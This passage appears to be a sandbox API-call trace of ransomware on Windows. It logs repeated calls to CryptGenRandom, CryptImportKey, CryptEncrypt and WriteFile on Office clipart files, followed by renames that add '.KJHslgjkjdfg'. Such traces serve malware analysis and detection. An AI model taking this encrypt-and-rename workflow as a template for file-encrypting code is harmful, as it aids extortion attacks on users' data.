1 [0197.581] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.581] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40d4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x40d4, lpOverlapped=0x0) returned 1 [0197.582] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x40e0, dwBufLen=0x40e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x40e0) returned 1 [0197.583] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.583] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x40e0, lpOverlapped=0x0) returned 1 [0197.583] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.583] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x41b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.583] SetEndOfFile (hFile=0x130) returned 1 [0197.586] GetProcessHeap () returned 0x2ef0000 [0197.586] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.586] GetProcessHeap () returned 0x2ef0000 [0197.586] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.586] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf.kjhslgjkjdfg")) returned 1 [0197.587] CloseHandle (hObject=0x130) returned 1 [0197.587] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5f39, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099147.JPG", cAlternateFileName="")) returned 1 [0197.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.588] GetProcessHeap () returned 0x2ef0000 [0197.588] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.588] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.588] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.588] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x7, lpOverlapped=0x0) returned 1 [0197.591] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.591] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.591] GetProcessHeap () returned 0x2ef0000 [0197.591] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.591] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.591] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.591] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.591] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.591] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.591] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.591] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.591] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.592] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.592] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.592] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.592] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5f39, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5f39, lpOverlapped=0x0) returned 1 [0197.593] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5f40, dwBufLen=0x5f40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5f40) returned 1 [0197.593] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.593] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5f40, lpOverlapped=0x0) returned 1 [0197.593] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.593] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.593] SetEndOfFile (hFile=0x130) returned 1 [0197.596] GetProcessHeap () returned 0x2ef0000 [0197.596] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.596] GetProcessHeap () returned 0x2ef0000 [0197.596] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.596] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.kjhslgjkjdfg")) returned 1 [0197.597] CloseHandle (hObject=0x130) returned 1 [0197.597] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4752, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099148.JPG", cAlternateFileName="")) returned 1 [0197.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.598] GetProcessHeap () returned 0x2ef0000 [0197.598] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.598] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.598] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.598] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0197.601] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.601] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.601] GetProcessHeap () returned 0x2ef0000 [0197.601] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.601] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.601] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.601] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.601] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.601] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.601] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.601] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.601] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.602] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.602] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.602] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.602] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4752, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4752, lpOverlapped=0x0) returned 1 [0197.603] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4760, dwBufLen=0x4760 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4760) returned 1 [0197.603] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.603] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4760, lpOverlapped=0x0) returned 1 [0197.603] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.603] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.603] SetEndOfFile (hFile=0x130) returned 1 [0197.606] GetProcessHeap () returned 0x2ef0000 [0197.606] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.606] GetProcessHeap () returned 0x2ef0000 [0197.606] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.606] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.kjhslgjkjdfg")) returned 1 [0197.607] CloseHandle (hObject=0x130) returned 1 [0197.608] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x11dfe, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099149.WMF", cAlternateFileName="")) returned 1 [0197.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.609] GetProcessHeap () returned 0x2ef0000 [0197.609] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.609] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.609] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.609] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0197.612] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.612] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.612] GetProcessHeap () returned 0x2ef0000 [0197.612] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.612] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.612] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.612] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.612] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.612] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.612] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.612] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.612] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.612] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.612] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.612] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.613] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x11dfe, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x11dfe, lpOverlapped=0x0) returned 1 [0197.615] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x11e00, dwBufLen=0x11e00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x11e00) returned 1 [0197.616] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.616] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x11e00, lpOverlapped=0x0) returned 1 [0197.616] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.616] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x11ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.616] SetEndOfFile (hFile=0x130) returned 1 [0197.620] GetProcessHeap () returned 0x2ef0000 [0197.620] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.620] GetProcessHeap () returned 0x2ef0000 [0197.620] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.620] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf.kjhslgjkjdfg")) returned 1 [0197.621] CloseHandle (hObject=0x130) returned 1 [0197.621] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x559a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099150.JPG", cAlternateFileName="")) returned 1 [0197.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.624] GetProcessHeap () returned 0x2ef0000 [0197.624] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.624] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.624] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.624] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0197.626] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.626] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.627] GetProcessHeap () returned 0x2ef0000 [0197.627] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.627] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.627] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.627] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.627] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.627] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.627] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.627] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.627] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.627] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.627] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.627] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.627] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x559a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x559a, lpOverlapped=0x0) returned 1 [0197.629] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x55a0, dwBufLen=0x55a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x55a0) returned 1 [0197.629] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.629] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, 